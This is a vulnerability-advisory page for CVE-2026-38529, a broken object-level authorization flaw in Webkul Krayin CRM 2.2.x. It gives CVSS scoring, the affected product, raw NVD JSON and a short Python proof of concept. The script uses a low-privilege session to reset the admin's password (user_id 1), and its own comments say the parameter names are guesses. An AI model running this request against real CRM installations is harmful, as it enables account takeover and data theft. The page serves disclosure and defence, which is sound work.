Security Vulnerability Report
中文
CVE-2026-38529 CVSS 8.8 HIGH

CVE-2026-38529

Published: 2026-04-14 16:16:44
Last Modified: 2026-04-23 16:53:46

Description

A Broken Object-Level Authorization (BOLA) in the /Settings/UserController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily reset user passwords and perform a full account takeover via supplying a crafted HTTP request.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:webkul:krayin_crm:2.2.0:*:*:*:*:*:*:* - VULNERABLE
Webkul Krayin CRM v2.2.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example based on description) target_url = "http://target-host/Settings/UserController.php/update-password" # Attacker's session cookie (Low privilege user) cookies = { "laravel_session": "attacker_session_token_here" } # Payload exploiting BOLA: Changing 'user_id' to target admin ID # The actual parameter names might differ based on the framework implementation payload = { "user_id": "1", # ID of the admin user to takeover "password": "NewHackedPassword123!", "password_confirmation": "NewHackedPassword123!" } try: # Sending the request with low privilege session but targeting admin user response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Password reset for user_id 1.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38529", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:43.557", "lastModified": "2026-04-23T16:53:45.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Broken Object-Level Authorization (BOLA) in the /Settings/UserController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily reset user passwords and perform a full account takeover via supplying a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:krayin_crm:2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "C69541F8-F19B-4119-87E0-C9CC655FF002"}]}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2026-38529", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/krayin/laravel-crm", "source": "[email protected]", "tags": ["Product"]}]}}